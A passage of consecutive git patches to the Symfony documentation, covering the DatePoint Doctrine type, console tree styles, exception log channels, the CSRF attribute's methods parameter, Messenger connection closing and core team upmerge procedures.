+    Add the ``--dry-run`` option to simulate package installation without actually
+    making any changes (e.g. ``php bin/console importmap:require bootstrap --dry-run``)
+
+    .. versionadded:: 7.3
+
+        The ``--dry-run`` option was introduced in Symfony 7.3.
 
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 

From 0dd6f3462e07172e8d8f7825ef0d175b62b74d85 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Mon, 24 Mar 2025 17:52:45 +0100
Subject: [PATCH 5490/5766] document DatePointType

---
 components/clock.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index 5b20e6000b9..e1a631a9548 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -269,6 +269,31 @@ timestamps::
 
 .. _clock_writing-tests:
 
+Storing DatePoints in Databases
+-------------------------------
+
+If you :doc:`use Doctrine </doctrine>`, consider using the ``date_point`` Doctrine
+type, which converts to/from ``DatePoint`` objects automatically::
+
+    // src/Entity/Product.php
+    namespace App\Entity;
+
+    use Doctrine\ORM\Mapping as ORM;
+    use Symfony\Component\Clock\DatePoint;
+
+    #[ORM\Entity]
+    class Product
+    {
+        #[ORM\Column]
+        private DatePoint $created;
+
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The `DatePointType` was introduced in Symfony 7.3.
+
 Writing Time-Sensitive Tests
 ----------------------------
 

From 823c8432df0cd3ddd685e023ea863ab4051b71f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Mar 2025 09:58:07 +0100
Subject: [PATCH 5491/5766] Minor tweaks

---
 components/clock.rst | 21 +++++++++++++--------
 1 file changed, 13 insertions(+), 8 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index e1a631a9548..c4ac88e9092 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -267,13 +267,11 @@ timestamps::
     :method:`Symfony\\Component\\Clock\\DatePoint::getMicrosecond` methods were
     introduced in Symfony 7.1.
 
-.. _clock_writing-tests:
-
-Storing DatePoints in Databases
--------------------------------
+Storing DatePoints in the Database
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If you :doc:`use Doctrine </doctrine>`, consider using the ``date_point`` Doctrine
-type, which converts to/from ``DatePoint`` objects automatically::
+If you :doc:`use Doctrine </doctrine>` to work with databases, consider using the
+``date_point`` Doctrine type, which converts to/from ``DatePoint`` objects automatically::
 
     // src/Entity/Product.php
     namespace App\Entity;
@@ -284,15 +282,22 @@ type, which converts to/from ``DatePoint`` objects automatically::
     #[ORM\Entity]
     class Product
     {
+        // if you don't define the Doctrine type explicitly, Symfony will autodetect it:
         #[ORM\Column]
-        private DatePoint $created;
+        private DatePoint $createdAt;
+
+        // if you prefer to define the Doctrine type explicitly:
+        #[ORM\Column(type: 'date_point')]
+        private DatePoint $updatedAt;
 
         // ...
     }
 
 .. versionadded:: 7.3
 
-    The `DatePointType` was introduced in Symfony 7.3.
+    The ``DatePointType`` was introduced in Symfony 7.3.
+
+.. _clock_writing-tests:
 
 Writing Time-Sensitive Tests
 ----------------------------

From 5844ee66a68c19bbcff3f7300756ed1df31c4c3a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 Mar 2025 16:39:30 +0100
Subject: [PATCH 5492/5766] [Console] Tweak the tree helper

---
 components/console/helpers/tree.rst | 250 ++++++++++++++--------------
 1 file changed, 129 insertions(+), 121 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index ae0c24ff01f..1161d00e942 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -67,7 +67,7 @@ This exampe would output the following:
     ├── templates/
     └── tests/
 
-The given contents can be defined in a multi-dimensional array:
+The given contents can be defined in a multi-dimensional array::
 
     $tree = TreeHelper::createTree($io, null, [
         'src' =>  [
@@ -125,126 +125,132 @@ Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
 The tree helper provides a few built-in styles that you can use to customize the
-output of the tree.
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
-
-    .. code-block:: terminal
-
-        ├── config
-        │   ├── packages
-        │   └── routes
-        │      ├── framework.yaml
-        │      └── web_profiler.yaml
-        ├── src
-        │   ├── Command
-        │   ├── Controller
-        │   │   └── DefaultController.php
-        │   └── Kernel.php
-        └── templates
-           └── base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
-
-    .. code-block:: terminal
-
-        ┃╸ config
-        ┃  ┃╸ packages
-        ┃  ┗╸ routes
-        ┃     ┃╸ framework.yaml
-        ┃     ┗╸ web_profiler.yaml
-        ┃╸ src
-        ┃  ┃╸ Command
-        ┃  ┃╸ Controller
-        ┃  ┃  ┗╸ DefaultController.php
-        ┃  ┗╸ Kernel.php
-        ┗╸ templates
-           ┗╸ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
-
-    .. code-block:: terminal
-
-        ╠═ config
-        ║  ╠═ packages
-        ║  ╚═ routes
-        ║    ╠═ framework.yaml
-        ║    ╚═ web_profiler.yaml
-        ╠═ src
-        ║  ╠═ Command
-        ║  ╠═ Controller
-        ║  ║  ╚═ DefaultController.php
-        ║  ╚═ Kernel.php
-        ╚═ templates
-          ╚═ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
-
-    .. code-block:: terminal
-
-        ├ config
-        │ ├ packages
-        │ └ routes
-        │   ├ framework.yaml
-        │   └ web_profiler.yaml
-        ├ src
-        │ ├ Command
-        │ ├ Controller
-        │ │ └ DefaultController.php
-        │ └ Kernel.php
-        └ templates
-          └ base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
-
-    .. code-block:: terminal
-
-        |-- config
-        |   |-- packages
-        |   `-- routes
-        |       |-- framework.yaml
-        |       `-- web_profiler.yaml
-        |-- src
-        |   |-- Command
-        |   |-- Controller
-        |   |   `-- DefaultController.php
-        |   `-- Kernel.php
-        `-- templates
-            `-- base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
-
-    .. code-block:: terminal
-
-        . config
-        . . packages
-        . . routes
-        .   . framework.yaml
-        .   . web_profiler.yaml
-        . src
-        . . Command
-        . . Controller
-        . . . DefaultController.php
-        . . Kernel.php
-        . templates
-          . base.html.twig
-
-:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
-
-    .. code-block:: terminal
-
-        ├─ config
-        │  ├─ packages
-        │  ╰─ routes
-        │     ├─ framework.yaml
-        │     ╰─ web_profiler.yaml
-        ├─ src
-        │  ├─ Command
-        │  ├─ Controller
-        │  │  ╰─ DefaultController.php
-        │  ╰─ Kernel.php
-        ╰─ templates
-           ╰─ base.html.twig
+output of the tree::
+
+    use Symfony\Component\Console\Helper\TreeStyle;
+    // ...
+
+    $tree = TreeHelper::createTree($io, $node, [], TreeStyle::compact());
+    $tree->render();
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::default())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├── config
+    │   ├── packages
+    │   └── routes
+    │      ├── framework.yaml
+    │      └── web_profiler.yaml
+    ├── src
+    │   ├── Command
+    │   ├── Controller
+    │   │   └── DefaultController.php
+    │   └── Kernel.php
+    └── templates
+       └── base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::box())`` (`details`_)
+
+.. code-block:: terminal
+
+    ┃╸ config
+    ┃  ┃╸ packages
+    ┃  ┗╸ routes
+    ┃     ┃╸ framework.yaml
+    ┃     ┗╸ web_profiler.yaml
+    ┃╸ src
+    ┃  ┃╸ Command
+    ┃  ┃╸ Controller
+    ┃  ┃  ┗╸ DefaultController.php
+    ┃  ┗╸ Kernel.php
+    ┗╸ templates
+       ┗╸ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::doubleBox())`` (`details`_)
+
+.. code-block:: terminal
+
+    ╠═ config
+    ║  ╠═ packages
+    ║  ╚═ routes
+    ║    ╠═ framework.yaml
+    ║    ╚═ web_profiler.yaml
+    ╠═ src
+    ║  ╠═ Command
+    ║  ╠═ Controller
+    ║  ║  ╚═ DefaultController.php
+    ║  ╚═ Kernel.php
+    ╚═ templates
+      ╚═ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::compact())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├ config
+    │ ├ packages
+    │ └ routes
+    │   ├ framework.yaml
+    │   └ web_profiler.yaml
+    ├ src
+    │ ├ Command
+    │ ├ Controller
+    │ │ └ DefaultController.php
+    │ └ Kernel.php
+    └ templates
+      └ base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::light())`` (`details`_)
+
+.. code-block:: terminal
+
+    |-- config
+    |   |-- packages
+    |   `-- routes
+    |       |-- framework.yaml
+    |       `-- web_profiler.yaml
+    |-- src
+    |   |-- Command
+    |   |-- Controller
+    |   |   `-- DefaultController.php
+    |   `-- Kernel.php
+    `-- templates
+        `-- base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::minimal())`` (`details`_)
+
+.. code-block:: terminal
+
+    . config
+    . . packages
+    . . routes
+    .   . framework.yaml
+    .   . web_profiler.yaml
+    . src
+    . . Command
+    . . Controller
+    . . . DefaultController.php
+    . . Kernel.php
+    . templates
+      . base.html.twig
+
+``TreeHelper::createTree($io, $node, [], TreeStyle::rounded())`` (`details`_)
+
+.. code-block:: terminal
+
+    ├─ config
+    │  ├─ packages
+    │  ╰─ routes
+    │     ├─ framework.yaml
+    │     ╰─ web_profiler.yaml
+    ├─ src
+    │  ├─ Command
+    │  ├─ Controller
+    │  │  ╰─ DefaultController.php
+    │  ╰─ Kernel.php
+    ╰─ templates
+       ╰─ base.html.twig
 
 Making a Custom Tree Style
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -285,3 +291,5 @@ The above code will output the following tree:
     🔵 🟢 🟠 🟡 Kernel.php
     🔵 🟠 🟡 templates
     🔵 🔴 🟠 🟡 base.html.twig
+
+.. _`details`: https://github.com/symfony/symfony/blob/7.3/src/Symfony/Component/Console/Helper/TreeStyle.php

From 4191969aff9f5737264eb238e9403199af9f3278 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Mon, 24 Mar 2025 21:17:09 +0100
Subject: [PATCH 5493/5766] Document log_channel

---
 reference/configuration/framework.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 528543a5178..7986140e050 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1025,7 +1025,7 @@ exceptions
 
 **type**: ``array``
 
-Defines the :ref:`log level </logging>` and HTTP status code applied to the
+Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>` and HTTP status code applied to the
 exceptions that match the given exception class:
 
 .. configuration-block::
@@ -1038,6 +1038,7 @@ exceptions that match the given exception class:
                 Symfony\Component\HttpKernel\Exception\BadRequestHttpException:
                     log_level: 'debug'
                     status_code: 422
+                    log_channel: 'custom_channel'
 
     .. code-block:: xml
 
@@ -1055,6 +1056,7 @@ exceptions that match the given exception class:
                     class="Symfony\Component\HttpKernel\Exception\BadRequestHttpException"
                     log-level="debug"
                     status-code="422"
+                    log-channel="custom_channel"
                 />
                 <!-- ... -->
             </framework:config>
@@ -1070,9 +1072,14 @@ exceptions that match the given exception class:
             $framework->exception(BadRequestHttpException::class)
                 ->logLevel('debug')
                 ->statusCode(422)
+                ->logChannel('custom_channel')
             ;
         };
 
+.. versionadded:: 7.3
+
+    The ``log_channel`` option was introduced in Symfony 7.3.
+
 The order in which you configure exceptions is important because Symfony will
 use the configuration of the first exception that matches ``instanceof``:
 

From dae33e402c969606c0c6daa58d99b0caadaf749a Mon Sep 17 00:00:00 2001
From: Silas Joisten <silasjoisten@proton.me>
Date: Wed, 26 Mar 2025 11:10:39 +0200
Subject: [PATCH 5494/5766] Adds missing use statement

---
 routing.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/routing.rst b/routing.rst
index a41b9bba6a6..7d489912345 100644
--- a/routing.rst
+++ b/routing.rst
@@ -969,6 +969,7 @@ optional ``priority`` parameter in those routes to control their priority:
         namespace App\Controller;
 
         use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
         use Symfony\Component\Routing\Attribute\Route;
 
         class BlogController extends AbstractController

From 6d7c87f8eaea42c26004206fd1dc465df44e29cd Mon Sep 17 00:00:00 2001
From: Oviglo <ovigne.loic@gmail.com>
Date: Mon, 24 Mar 2025 10:51:29 +0100
Subject: [PATCH 5495/5766] [Security] Add methods param doc for
 isCsrfTokenValid attribute

---
 security/csrf.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index be8348597c7..fa15cee3db3 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -288,6 +288,15 @@ object evaluated to the id::
         // ... do something, like deleting an object
     }
 
+You can use the ``methods`` parameter to the attribute to specify the HTTP methods that are allowed for
+the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` is ignored for other methods. By default, the attribute allows all methods::
+
+    #[IsCsrfTokenValid('delete-item', tokenKey: 'token', methods: ['DELETE'])]
+    public function delete(Post $post): Response
+    {
+        // ... delete the object
+    }
+
 .. versionadded:: 7.1
 
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`

From 84634a2c44d66ea4931e3ab991252a8e03a3000d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Mar 2025 10:31:19 +0100
Subject: [PATCH 5496/5766] Reword

---
 security/csrf.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index fa15cee3db3..cc9b15253bc 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -288,8 +288,10 @@ object evaluated to the id::
         // ... do something, like deleting an object
     }
 
-You can use the ``methods`` parameter to the attribute to specify the HTTP methods that are allowed for
-the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid` is ignored for other methods. By default, the attribute allows all methods::
+By default, the ``IsCsrfTokenValid`` attribute performs the CSRF token check for
+all HTTP methods. You can restrict this validation to specific methods using the
+``methods`` parameter. If the request uses a method not listed in the ``methods``
+array, the attribute is ignored for that request, and no CSRF validation occurs::
 
     #[IsCsrfTokenValid('delete-item', tokenKey: 'token', methods: ['DELETE'])]
     public function delete(Post $post): Response
@@ -302,6 +304,10 @@ the token validation, :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsC
     The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
     attribute was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    The ``methods`` parameter was introduced in Symfony 7.3.
+
 CSRF Tokens and Compression Side-Channel Attacks
 ------------------------------------------------
 

From 2153ebbc5dc3918794514e16004ae497a4b84cf6 Mon Sep 17 00:00:00 2001
From: Silas Joisten <silasjoisten@proton.me>
Date: Wed, 26 Mar 2025 11:03:49 +0200
Subject: [PATCH 5497/5766] Add type hint

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 7d489912345..79a513ba8dd 100644
--- a/routing.rst
+++ b/routing.rst
@@ -595,7 +595,7 @@ the ``{page}`` parameter using the ``requirements`` option:
             }
 
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show($slug): Response
+            public function show(string $slug): Response
             {
                 // ...
             }

From 2f28d22096fab76a30caed3acd096b5b61bfaf1b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 26 Mar 2025 11:05:49 +0100
Subject: [PATCH 5498/5766] Minor fix

---
 serializer/custom_normalizer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 8072b590ced..4221b3ad808 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -39,7 +39,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [
-                'id' => $topic->getId(),
+                'id' => $object->getId(),
             ], UrlGeneratorInterface::ABSOLUTE_URL);
 
             return $data;

From d6b4ff9e7bfd146eb037894705d6a9ff95b7d611 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 4 Mar 2025 22:06:02 +0100
Subject: [PATCH 5499/5766] Add more information about core team processes

---
 contributing/core_team.rst | 140 ++++++++++++++++++++++++++++++++-----
 1 file changed, 124 insertions(+), 16 deletions(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 2edb42a842d..88c9edf45ab 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -27,10 +27,24 @@ Core Team Member Responsibilities
 
 Core Team members are unpaid volunteers and as such, they are not expected to
 dedicate any specific amount of time on Symfony. They are expected to help the
-project in any way they can, from reviewing pull requests, writing documentation
-to participating in discussions and helping the community in general, but their
-involvement is completely voluntary and can be as much or as little as they
-want.
+project in any way they can. From reviewing pull requests and writing documentation,
+to participating in discussions and helping the community in general. However,
+their involvement is completely voluntary and can be as much or as little as
+they want.
+
+Core Team Communication
+~~~~~~~~~~~~~~~~~~~~~~~
+
+As an open source project, public discussions and documentation is favored
+over private ones. All communication in the Symfony community conforms to
+the :doc:`/contributing/code_of_conduct/code_of_conduct`. Request
+assistance from other Core and CARE team members when getting in situations
+not following the Code of Conduct.
+
+Core Team members are invited in a private Slack channel, for quick
+interactions and private processes (e.g. security issues). Each member
+should feel free to ask for assistance for anything they may encounter.
+Expect no judgement from other team members.
 
 Core Organization
 -----------------
@@ -146,6 +160,14 @@ A Symfony Core membership can be revoked for any of the following reasons:
 * Willful negligence or intent to harm the Symfony project;
 * Upon decision of the **Project Leader**.
 
+Core Membership Compensation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Core Team members work on Symfony on a purely voluntary basis. In return
+for their work for the Symfony project, members can get free access to
+Symfony conferences. Personal vouchers for Symfony conferences are handed out
+on request by the **Project Leader**.
+
 Code Development Rules
 ----------------------
 
@@ -170,7 +192,7 @@ Pull Request Merging Policy
 
 A pull request **can be merged** if:
 
-* It is a :ref:`minor change <core-team_minor-changes>`;
+* It is a :ref:`unsubstantial change <core-team_unsubstantial-changes>`;
 * Enough time was given for peer reviews;
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core
@@ -179,12 +201,20 @@ A pull request **can be merged** if:
   ``+1`` (if the submitter is part of the Mergers team, two *other* members)
   and no Core member voted ``-1`` (via GitHub reviews or as comments).
 
+.. _core-team_unsubstantial-changes:
+
+.. note::
+
+    Unsubstantial changes comprise typos, DocBlock fixes, code standards
+    fixes, comment, exception message tweaks, and minor CSS, JavaScript and
+    HTML modifications.
+
 Pull Request Merging Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-All code must be committed to the repository through pull requests, except for
-:ref:`minor change <core-team_minor-changes>` which can be committed directly
-to the repository.
+All code must be committed to the repository through pull requests, except
+for :ref:`unsubstantial change <core-team_unsubstantial-changes>` which can be
+committed directly to the repository.
 
 **Mergers** must always use the command-line ``gh`` tool provided by the
 **Project Leader** to merge pull requests.
@@ -206,6 +236,90 @@ following these rules:
 Getting the right category is important as it is used by automated tools to
 generate the CHANGELOG files when releasing new versions.
 
+.. tip::
+
+    Core team members are part of the ``mergers`` group on the ``symfony``
+    Github organization. This gives them write-access to many repositories,
+    including the main ``symfony/symfony`` mono-repository.
+
+    To avoid unintentional pushes to the main project (which in turn creates
+    new versions on Packagist), Core team members are encouraged to have
+    two clones of the project locally:
+
+    #. A clone for their own contributions, which they use to push to their
+       fork on GitHub. Clear out the push URL for the Symfony repository using
+       ``git remote set-url --push origin dev://null`` (change ``origin``
+       to the Git remote poiting to the Symfony repository);
+    #. A clone for merging, which they use in combination with ``gh`` and
+       allows them to push to the main repository.
+
+Upmerging Version Branches
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To synchronize changes in all versions, version branches are regularly
+merged from oldest to latest, called "upmerging". This is a manual process.
+There is no strict policy on when this occurs, but usually not more than
+once a day and at least once before monthly releases.
+
+Before starting the upmerge, Git must be configured to provide a merge
+summary by running:
+
+.. code-block:: terminal
+
+    # Run command in the "symfony" repository
+    $ git config merge.stat true
+
+The upmerge should always be done on all maintained versions at the same
+time. Refer to `the releases page`_ to find all actively maintained
+versions (indicated by a green color).
+
+The process follows these steps:
+
+#. Start on the oldest version and make sure it's up to date with the
+   upstream repository;
+#. Check-out the second oldest version, update from upstream and merge the
+   previous version from the local branch;
+#. Continue this process until you reached the latest version;
+#. Push the branches to the repository and monitor the test suite. Failure
+   might indicate hidden/missed merge conflicts.
+
+.. code-block:: terminal
+
+    # 'origin' is refered to as the main upstream project
+    $ git fetch origin
+
+    # update the local branches
+    $ git checkout 6.4
+    $ git reset --hard origin/6.4
+    $ git checkout 7.2
+    $ git reset --hard origin/7.2
+    $ git checkout 7.3
+    $ git reset --hard origin/7.3
+
+    # upmerge 6.4 into 7.2
+    $ git checkout 7.2
+    $ git merge --no-ff 6.4
+    # ... resolve conflicts
+    $ git commit
+
+    # upmerge 7.2 into 7.3
+    $ git checkout 7.3
+    $ git merge --no-ff 7.2
+    # ... resolve conflicts
+    $ git commit
+
+    $ git push origin 7.3 7.2 6.4
+
+.. warning::
+
+    Upmerges must be explicit, i.e. no fast-forward merges.
+
+.. tip::
+
+    Solving merge conflicts can be challenging. You can always ping other
+    Core team members to help you in the process (e.g. members that merged
+    a specific conflicting change).
+
 Release Policy
 ~~~~~~~~~~~~~~
 
@@ -217,13 +331,6 @@ Symfony Core Rules and Protocol Amendments
 The rules described in this document may be amended at any time at the
 discretion of the **Project Leader**.
 
-.. _core-team_minor-changes:
-
-.. note::
-
-    Minor changes comprise typos, DocBlock fixes, code standards
-    violations, and minor CSS, JavaScript and HTML modifications.
-
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
@@ -264,4 +371,5 @@ discretion of the **Project Leader**.
 .. _`mtarld`: https://github.com/mtarld/
 .. _`spomky`: https://github.com/spomky/
 .. _`alexandre-daubois`: https://github.com/alexandre-daubois/
-.. _`tucksaun`: https://github.com/tucksaun/
\ No newline at end of file
+.. _`tucksaun`: https://github.com/tucksaun/
+.. _`the releases page`: https://symfony.com/releases

From 89e37c14121ed155d84a295554343f1ff1674057 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 28 Mar 2025 08:28:17 +0100
Subject: [PATCH 5500/5766] messenger: allow to close connection

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0f1eba49a9f..06ad586407d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2254,6 +2254,20 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
+Closing connection
+~~~~~~~~~~~~~~~~~~
+
+When using a transport that requires a connection, you can close it using
+the :method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
+method to allow free resources for long-running processes.
+
+This interface is implemented by the following transports: AmazonSqs, Amqp and Redis.
+If you want to close a Doctrine connection, this can be achieved :ref:`using middleware <middleware-for-doctrine>`.
+
+.. versionadded:: 7.3
+
+    The ``CloseableTransportInterface`` and ``close`` method were introduced in Symfony 7.3.
+
 Running Commands And External Processes
 ---------------------------------------
 

From 76f7e6e9506ebc8f04d956af63d9c4b723eca446 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 28 Mar 2025 16:59:53 +0100
Subject: [PATCH 5501/5766] Minor tweak

---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7986140e050..3f34f792630 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1025,8 +1025,8 @@ exceptions
 
 **type**: ``array``
 
-Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>` and HTTP status code applied to the
-exceptions that match the given exception class:
+Defines the :ref:`log level </logging>`, :ref:`log channel </logging/channels_handlers>`
+and HTTP status code applied to the exceptions that match the given exception class:
 
 .. configuration-block::
 

From 5b9b62ea671b4894c733dccd4a49e1acc5d20686 Mon Sep 17 00:00:00 2001
From: Tugdual Saunier <tugdual.saunier@gmail.com>
Date: Sun, 30 Mar 2025 10:45:20 +0200
Subject: [PATCH 5502/5766] Add CLI team description

---
 contributing/core_team.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index 88c9edf45ab..f895dcd00d8 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -69,6 +69,7 @@ In addition, there are other groups created to manage specific topics:
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
   fixing the reported issues, coordinating the release of security fixes, etc.);
 * **Symfony UX Team**: manages the `UX repositories`_;
+* **Symfony CLI Team**: manages the `CLI repositories`_;
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -100,7 +101,6 @@ Active Core Members
   * **Berislav Balogović** (`hypemc`_);
   * **Mathias Arlaud** (`mtarld`_);
   * **Florent Morselli** (`spomky`_);
-  * **Tugdual Saunier** (`tucksaun`_);
   * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
@@ -116,6 +116,11 @@ Active Core Members
   * **Hugo Alliaume** (`kocal`_);
   * **Matheo Daninos** (`webmamba`_).
 
+* **Symfony CLI Team** (``@symfony-cli/core`` on GitHub):
+
+  * **Fabien Potencier** (`fabpot`_);
+  * **Tugdual Saunier** (`tucksaun`_).
+
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
@@ -333,6 +338,7 @@ discretion of the **Project Leader**.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
 .. _`UX repositories`: https://github.com/symfony/ux
+.. _`CLI repositories`: https://github.com/symfony-cli
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/

From 1d02e0ca8e4be30395bcd45b183b3b1129de4cd6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 31 Mar 2025 08:02:46 +0200
Subject: [PATCH 5503/5766] Minor tweaks

---
 messenger.rst | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 06ad586407d..fc8f9491022 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2254,19 +2254,21 @@ on a case-by-case basis via the :class:`Symfony\\Component\\Messenger\\Stamp\\Se
     provides that control. See `SymfonyCasts' message serializer tutorial`_ for
     details.
 
-Closing connection
-~~~~~~~~~~~~~~~~~~
+Closing Connections
+~~~~~~~~~~~~~~~~~~~
 
-When using a transport that requires a connection, you can close it using
-the :method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
-method to allow free resources for long-running processes.
+When using a transport that requires a connection, you can close it by calling the
+:method:`Symfony\\Component\\Messenger\\Transport\\CloseableTransportInterface::close`
+method to free up resources in long-running processes.
 
-This interface is implemented by the following transports: AmazonSqs, Amqp and Redis.
-If you want to close a Doctrine connection, this can be achieved :ref:`using middleware <middleware-for-doctrine>`.
+This interface is implemented by the following transports: AmazonSqs, Amqp, and Redis.
+If you need to close a Doctrine connection, you can do so
+:ref:`using middleware <middleware-for-doctrine>`.
 
 .. versionadded:: 7.3
 
-    The ``CloseableTransportInterface`` and ``close`` method were introduced in Symfony 7.3.
+    The ``CloseableTransportInterface`` and its ``close()`` method were introduced
+    in Symfony 7.3.
 
 Running Commands And External Processes
 ---------------------------------------

From bffad6daf493a377863a6389799623defd92de52 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 1 Apr 2025 09:05:00 +0200
Subject: [PATCH 5504/5766] Minor tweaks

---
 serializer.rst | 61 +++++++++++++++++++++++++-------------------------
 1 file changed, 30 insertions(+), 31 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 5f9144abae0..1fca42a3572 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1544,13 +1544,13 @@ Named Serializers
 
     Named serializers were introduced in Symfony 7.2.
 
-Sometimes, you may need multiple configurations for the serializer, such
-as different default contexts, name converters, or sets of normalizers and
-encoders, depending on the use case. For example, when your application
-communicates with multiple APIs, each with its own set of rules.
+Sometimes, you may need multiple configurations for the serializer, such as
+different default contexts, name converters, or sets of normalizers and encoders,
+depending on the use case. For example, when your application communicates with
+multiple APIs, each of which follows its own set of serialization rules.
 
-This can be achieved by configuring multiple instances of the serializer
-using the ``named_serializers`` option:
